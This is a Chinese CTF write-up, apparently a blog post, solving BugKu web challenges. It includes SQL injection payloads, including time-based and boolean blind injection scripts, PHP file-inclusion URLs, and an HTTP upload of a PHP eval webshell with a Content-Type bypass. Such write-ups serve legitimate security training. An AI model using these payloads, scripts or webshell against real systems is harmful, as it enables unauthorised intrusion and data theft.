BugKu Web篇通关wp

BugKu Web篇通关wp

0x01 WEB2

没啥好说的直接F12打开控制台,找到Flag 过!
在这里插入图片描述

0x02 计算器

在这里插入图片描述
需要计算64+65的结果,F12打开控制台,发现
在这里插入图片描述
修改为10,就可以输入了,得到flag过!

在这里插入图片描述

0x03 web基础$_GET

简单的get传参,直接通过url传参即可
在这里插入图片描述

0x04 web基础$_POST

类似get的操作,这里使用hackbar实现

在这里插入图片描述

在这里插入图片描述

0x04 矛盾

这里考察PHP中的一个知识点。函数is_numeric() 判断变量是否为数字意思是 num既不是纯数字,又要等于1 所以就构造一个 num=1wahh(开头为1,字母随意) 提交上去

在这里插入图片描述

0x05 WEB3

一进去就是是无需循环的弹窗
在这里插入图片描述
直接检查源码
在源码的最下面有一串union编码,到相关的网站里面即可解码
KEY{J2sa42ahJK-HS11III}

0x06 域名解析

在这里插入图片描述
我们先进入到123.206.87.240中发现:
在这里插入图片描述
400 其含义是你访问的页面域名不存在或者请求错误。主要分为两种。
1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。
2、请求参数有误。
400的主要有两种形式:
1、bad request意思是“错误的请求";
2、invalid hostname意思是"不存在的域名”。

题目已经提示我们要进行域名解析,那么就需要修改http请求中的host

在这里插入图片描述
通过插件,伪装host
在这里插入图片描述
得到Flag

0x07 你必须让他停下

打开的时候发现发现一直在不停的发送请求更新页面,大概几次就会出现一个图案,这里只需要使用bs进行截断然后慢慢分析即可

在这里插入图片描述
找到图片正常显示的那个地方,F12打开控制台,即可发现flag

0x08 本地包含

这个题目现在好像已经崩了,但是题目还是挺经典的
在这里插入图片描述
发现源码里面出现了eval()而且没有做任何的过滤,出现了include和request就是典型的文件包含漏洞了。

我们可以直接构造 hello=show_source(%27flag.php%27);//

在这里插入图片描述
直接获取flag

0x09 变量1

上来给了一段代码,相对代码进行解析

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ // 获取get参数args
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){ // 正则匹配获取args中的字母或数字
        die("args error!");
    }
    eval("var_dump($$args);"); 
}
?>

这里说一下php的var_dumps()函数
显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

这里设计到php中的全局数组变量,$GLOBALS 是由所以定义的全局变量组成的数组,变量名就是该数组的索引,在所有脚本中都有效,在函数或对象中的方法中不需要使用关键字global访问,在函数外部声明全局变量,可以使用$_GLOBALS 数组替代global 关键字

构造这样的urlhttp://123.206.87.240:8004/index1.php?args=GLOBALS flag get !
在这里插入图片描述

0x10 WEB5

F12 打开,发现了一堆JSFUCK编码,直接负责到控制台来翻译一下

在这里插入图片描述
这里需要从源码里复制,要不太多了控制台里面显示不全

在这里插入图片描述
提交之后居然还给我显示这个
在这里插入图片描述

题目提示了,字母要大写。那就用大写的提交呗

在这里插入图片描述
flag get

0x11 头等舱

点击发现这个画面
在这里插入图片描述

查看源码也是什么都没有,那就抓一下包吧

在这里插入图片描述
flag get !

0x12 网站被黑

题目提示实战经常遇到,而且是php的网页,没办法用御剑扫一下吧
在这里插入图片描述

扫到一个嘿嘿,进去看一看

在这里插入图片描述

尝试了一些弱密码都不行,尝试使用burp suite进行暴力破解。

在这里插入图片描述
在这里插入图片描述
成功了!

在这里插入图片描述

flag get !

0x13 管理员系统

尝试输入会发现IP被禁止,F12检查以下源码发现了这个东西
在这里插入图片描述
base64解码之后是test123

尝试
在这里插入图片描述
发现还是不行,就考虑到应该是对方设置了访问IP现在,那么我们就需要伪造IP了,这里就设计到XFF协议,简单的说就是修改请求头中的这个
在这里插入图片描述
在这里插入图片描述
flag get !

0x14 web4

在这里插入图片描述
检查源代码我们发现是一堆url编码

解码之后拼起来就变成了

function checkSubmit(){var a=document.getElementById(“password”);if(“undefined”!=typeof a){if(“67d709b2b54aa2aa648cf6e87a7114f1”==a.value)return!0;alert(“Error”);a.focus();return!1}}document.getElementById(“levelQuest”).οnsubmit=checkSubmit;

0x15 flag在index里

题目直接提示flag在index里,然后在看看url,有一个file= 猜测可能是一个php的文件包含漏洞。尝试下面的url

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
以base64的方式解析出index.php的内容,然后在进行base64解码即可

在这里插入图片描述

0x16 输入密码查看flag

在这里插入图片描述

看到这个5位的密码,在检查源码和抓包之后都没有发现什么端倪,尝试bp一波

这里想尝试一下5位数字,5位字母需要的时间太长了
在这里插入图片描述
在这里插入图片描述
爆破成功啦!
在这里插入图片描述

0x17 备份是个好习惯

打开之后是一串编码

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

尝试了一下不是普通的编码格式,题目提示备份是一个好习惯,但是观察url有没有直接引用文件。所以尝试访问index.php,发现页面显示访问正常,备份文件的后缀为bak,尝试访问index.php.bak 文件被下载下来了。

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');  // 获取?之后的字符串(包括?)
$str = substr($str,1); // 获取从第二位之后的字符串
$str = str_replace('key','',$str); // 将 key替换为 空
parse_str($str); // 解析传入的变量
echo md5($key1); // md5加密

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

代码的解析已经写在注释里了,主要有用到两个思想

  • 混写绕过, kkeyey1在被上述的代码处理后救变成了key1
  • php中的数组在md5加密后结果是一样的

所以可以构造这样的代码

http://123.206.87.240:8002/web16/index.php?kkeyey1[]=ahhhh&kkeyey2[]=ahh

0x18 成绩单

这题很经典!!! 你可以在这题里面掌握基础的sql手工注入的技巧

这里有个成绩查询的功能
在这里插入图片描述
输入数字可以查询人的成绩

为了方便我们使用HackBar的插件来发送post请求
我们发现发送id=1’没有回显,输入id=1’#有回显,接下来通过order by来确定数据库的列数

id=1' order by 1#  // 有回显
id=1' order by 2#  // 有回显
id=1' order by 3#  // 有回显
id=1' order by 4#  // 有回显
id=1' order by 5#  // 无回显

可以确定数据库有4列,接下来使用select 1,2,3,4来进行入住

在这里插入图片描述
id=0' union select 1,database(),user(),version()#
在这里插入图片描述
成功查询到数据库名称,接下来查询表名。

这里有一个固定的查询方式id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#

在这里插入图片描述

查询到有fl4g和sc两个表

直接查询fl4g就好啦
在这里插入图片描述
flag get!!!

0x19秋名山老司机

这道题的知识点有如下几点:

  • 正则表达式 / Xpath 匹配
  • session保持会话
  • post发送消息

主要的思路就是迅速的计算出结果然后发送post消息,废话不多说直接上python脚本代码

import requests
from lxml import etree

url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.session()
re = s.get(url=url).text
tree = etree.HTML(re)
cal = tree.xpath('/html/body/div[1]/text()')
result = eval(cal[0][:-3])
post = {
    'value': result
}
flag = s.post(url=url, data=post).text
print(flag)

在这里插入图片描述
flag get !!!

0x20 速度要快

打开网页看到一行字, 我觉得你要快点

打开Burp Suite,放到Reapeater里Go之后发现
在这里插入图片描述
里面有一个flalg,很明显的base64编码进行解码,我们可以得到:跑的还不错,给你flag吧: OTQ3NTc5,一提交发现是错的。。。

它提示,需要将这个margin通过post消息发送,接下来开始python编码。

import requests
import base64

se = requests.session()
url = 'http://123.206.87.240:8002/web6/'
result = se.get(url)
base = result.headers['flag'][-12:]
flag = base64.b64decode(base64.b64decode(base))
data = {'margin': flag}
flag = se.post(url=url, data=data).text
print(flag)

发送之后可得到flag
在这里插入图片描述

0x21 Cookie欺骗

打开网页后一堆东西,啥都得不到,观察一下url发现url里面好像包含了一个base64编码。进行解码得到keys.txt
我们类似的可以尝试一下index.php的base64的编码。访问之后什么都看不到,尝试修改一下line的数值发现可以得到index.php里的内容,整理一下我们可以得到

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

我们将filename的值改为index.php的base64编码:a2V5cy5waHA=。然后将Cookie的设为margin=margin
可以用如下的python代码获取flag

import requests

url = 'http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA='
cookie = {'margin': 'margin'}

headers = {'Cookie': 'margin=margin'}
result = requests.get(url=url,headers=headers).text
print(result)

0x22 never give up

先检查源码:
在这里插入图片描述
尝试访问一下,发现会跳转到bugku的首页
看一下1p.html的源码
view-source:http://123.206.87.240:8006/test/1p.html
在这里插入图片描述
发现一些url编码,然后进行解压,可以得到一串base64编码,再进行解码,又得到一串url编码,再进行解码,我去无限套娃是不是?然后终于得到了代码:

if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>

代码中可以看到flag应该是存储在f4l2a3g.txt,尝试在url里访问一下,falg get
在这里插入图片描述

0x23 字符?正则?

通过对题目的阅读我们可以发现,主要是思路是绕过正则,那么接下来我们来分析一下这个正则。

/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

  • .* 匹配任意多个字符
  • . 匹配任意单个字符
  • {4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7
  • / 转义 “/”
  • [a-z] 匹配任意一个小写字母
  • [:punct:] 匹配任意标点符号
  • /i 表示不区分大小写

所以我们可以构造出来一个这样的正则

keylalalakey6666key:/6/keyz:

结合代码我们可以知道,只需要通过get请求的方式传入即可

http://123.206.87.240:8002/web10/?id=keylalalakey6666key:/6/keyz:

在这里插入图片描述

key 出来了!

0x24 你从哪里来

在这里插入图片描述

很明显了,就是想让我们伪装一下请求头就ok了,没什么难度直接过, 修改请求头中的Referer字段即可

在这里插入图片描述

在这里插入图片描述

0x25 md5 collision(NUPT_CTF)

本题的主要思路是:根据==用法,0 == 字符串是成立的,从而可以绕过MD5检查。

所以只需要构造一个0开头的md5码即可,我们可以构造一个这样的md5码,s878926199a ,传入即可获取flag

在这里插入图片描述

0X26 程序员本地网站

一打开几面就提示请从本地访问,尝试一下把Client-ip求改为127.0.0.1。成功获取flag
在这里插入图片描述

0x27 各种绕过

上来就给了一大串代码,让我们来分析分析

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']); // get传参获取id
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) { // get传参获取uname,post传参获取passwd【不为NULL】
    if ($_GET['uname'] == $_POST['passwd']) // uname和passwd的值不能为NULL
        print 'passwd can not be uname.';
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) // 比较sha1加密后结果

        die('Flag: '.$flag);

    else
        print 'sorry!';
}
?>

这里其实用的是ctf里面一个经常出现的绕过方式了,原理就是php中数组在sha1加密后数值相同。构造一下就可

在这里插入图片描述
在这里插入图片描述

flag轻松获取了

0x28 txt???

先来分析一下代码

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

大体就是读入一个文件,然后让他的内容和ac的值相等,因为我是有云服务器且部署好了static文件夹,就自己手动输入一个txt在云服务器上然后控制他们的值相等就可以了
大致的url是这样的

http://123.206.87.240:8002/web8/?ac=wahh&fn=http://xxx.xxx.xxx.xxx/text.txt

0x29 细心

在这里插入图片描述

拿到题目之后是这样的,啥信息也没有,就尝试去各种常用路径里面看看,之后发现了robot.txt里面有东西
在这里插入图片描述
我们到resusl.php里去看一看
在这里插入图片描述
提示了这个信息,这里的我的IP打了马赛克,然后下面提示了我们可以传入x作为密码。那就先尝试尝试一些弱密码吧
试了下admin居然直接就可以了。。。。
在这里插入图片描述

0x30 getshell

在这里插入图片描述

很明显的文件上传漏洞,我们来试一试吧,上传一句话木马<?php eval(@$_POST['a']); ?>试一试

在这里插入图片描述
提示不能上传,那就先把后缀改为jpg,试试看然后使用bp中途把改回php,尝试之后发现还是不行。

那就尝试尝试php5这样的可不可以绕过吧。发现还是不行,又仔细看了看包的内容发现还有一个Content-Type把他大小写绕过一下看看。结果成功上传!

POST /web9/index.php HTTP/1.1
Host: 123.206.87.240:8002
Content-Length: 310
Cache-Control: max-age=0
Origin: http://123.206.87.240:8002
Upgrade-Insecure-Requests: 1
Content-Type: MulTipart/form-data; boundary=----WebKitFormBoundarylB9qExaaIBaDtX4o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://123.206.87.240:8002/web9/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: xadsccerfbuawerf=CN
Connection: close

------WebKitFormBoundarylB9qExaaIBaDtX4o
Content-Disposition: form-data; name="file"; filename="shell.php5"
Content-Type: image/jpeg

<?php eval(@$_POST['a']); ?>
------WebKitFormBoundarylB9qExaaIBaDtX4o
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarylB9qExaaIBaDtX4o--

在这里插入图片描述

0x31 INSERT INTO 注入

题目给出了php代码,我们先分析一下

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

可以看到,这里的代码信息是获取我们的IP并插入到数据库中。

可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,不用担心,我们有下面的代码进行替换。

select case when (条件) then 代码1 else 代码 2 end;

让我们构造一下payload,爆出数据库和列名的过程我就掠过了,原理基本相同

127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +

这里手工注入太累了,我们写一个脚本来帮助一下。因为现在bugku的免费访问版速度实在是太慢了,所以我们把sleep的时间改成10,然后下面的timeout也设置成8,这样就没有什么问题了。

import requests
from tqdm import tqdm
url = "http://123.206.87.240:8002/web15/"
flag = ""
for i in tqdm(range(1, 33)):
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
        data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(
            i) + " for 1 )='" + str1 + "') then sleep(10) else 1 end )) #"
        # print data
        headers = {"x-forwarded-for": data}
        try:
            result = requests.get(url, headers=headers, timeout=8)
        except requests.exceptions.ReadTimeout as e:
            flag += str1
            print(flag)
            break
print('flag:' + flag)

0x32 多次

这题为sql注入,先让我们进行一下分析

  1. 加 ’ 报错
  2. ’ --++ 正常
  3. ‘ and 1=1 --++报错

应该是进行了过滤吧,可以尝试双写绕过,比如and 写成aandnd,便可成功绕过

下面给出爆出个信息的payload

数据库

?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23

在这里插入图片描述

数据表

id=-1%27%20ununionion%20seselectlect%201,%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=database()--++
在这里插入图片描述

很明显flag1里面应该是我们要的。

列名

?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23

在这里插入图片描述
然后我们选择flag1这一列

?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23
在这里插入图片描述
flag get ! 才怪!! 还真是多次,梅开二度了还。

既然flag1里没有我们想要的东西,那么就去address里面看看,构造如下的payload

?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(address)%20from%20flag1%20%23
在这里插入图片描述
看来是没那么简单啊。我们再进去看看

在这里插入图片描述
继续呗

  • ’ 报错
  • ’–++ 正常显示
  • ’ and 1=1 报错
  • ’ anand 1=1 报错
  • 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)#

看来是换waf的模式,经过几番尝试发现可以运用updatexml()漏洞思想入侵。

  • 查表:?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
    在这里插入图片描述

  • 查字段名:?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
    在这里插入图片描述

  • 查字段:?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

在这里插入图片描述

0x33 PHP_encrypt_1

上来给了一个代码

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>
output: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

靠的应该是php的反序列化,根据序列化代码写出反序列化代码如下

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  //  decode the string 
    $md_len = strlen($tmp); // get the length of the string
    for ($i=0; $i < $md_len; $i++) {  
        if ($x == $klen)  
            $x = 0;
        $char .= $mkey[$x];  /
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { 
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { 
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  
        $data2 .= chr($dd-$od); 
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

最后得到flag为{asdqwfasfdwfefqdqwdadwqdaw*}

0x34 flag.php

一进去发现一个不能按的登陆按钮,其他的信息就什么都没有了,想起题目提示了hint,就像试试看访问一些hint相关的内容,之后发现访问http://123.206.87.240:8002/flagphp/?hint=2可以访问。之后得到了代码,再看看代码吧

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer']; // 获取Cookie
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") // 对cookie的值进行反序列化
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

通过解析代码我们可以知道,需要在Cookie中包含一个字段ISecer,这个字段的值反序列化之后需要为KEY的值,这里需要注意代码是从上往下运行的所以现在的KEY是空

<?php
echo serialize('');
?>
output:s:0:"";

将s:0:""; 传入,发现还是不对。发现把;进行url编码后才可以。这里还需要注意因为代码里面写的是else if所有不能在同时传参hint,否则没用!
在这里插入图片描述

0x40 sql注入2

题目提示,几乎把所有的关键字都过滤了。所以我们首先需要确认到底哪些关键字被过滤。尝试进行输入发现,如果输入被过滤的关键字会有提示。我们打开Burp Suite抓一下包,然后用关键字密码字典爆破一下,看哪些关键字没有被过滤。
首先我们构造这样的payload来判断过滤了哪些关键字
在这里插入图片描述
加载一下常用的关键字,这个字典随便百度一下就有了,还是比较全的
在这里插入图片描述
长度位367的是没有过滤的,370的是已经过滤了的
在这里插入图片描述
根据结果可以发现,能用的只有一些异或运算符了。这题主要应该是运用异或注入。

通过尝试admin等常规若口令我们可以得到,是有admin这个用户的。

这里补充几个知识点:

  • sql语句是可以处理减法的
  • 字符串被视为0

如果这题构造这样的payloadadmin' -(sql语句)-'a
由于此题把空格给毙掉了。所以常规的语句写法都不能用 ,而且union,and,or这样的都被屏蔽了。emmm这里是真的难搞,最后决定大胆的尝试字段名passwd,还真被猜中了,写个代码求解一下答案吧

import requests
from tqdm import tqdm
url = "http://123.206.87.240:8007/web2/login.php"

letters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

password = ""
for i in tqdm(range(1, 50)):
    for j in letters:
        payload = "admin'-(ascii(substring((passwd)from(" + str(i) + ")))=" + str(ord(j)) + ')' + "-'a"
        data = {
            'uname': payload,
            'passwd': '233'
        }
        r = requests.post(url=url, data=data)
        if "username error!!@_@" in str(r.content):
            password += j
            print(password)

最后得到一个32位的字符串,应该是一串md5吗,解码之后结果就是admin123,尝试用这个登陆一下。

在这里插入图片描述
ls一下就出来结果了。。。
在这里插入图片描述

0x41 孙XX的博客

在这里插入图片描述
题目提示,需要用到渗透测试第一步信息收集

0x42 Trim

几番尝试之后没有什么结果,就使用御剑进行了扫描了一下
在这里插入图片描述
尝试了 show.php ,发现flag里面直接就有了。。。
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值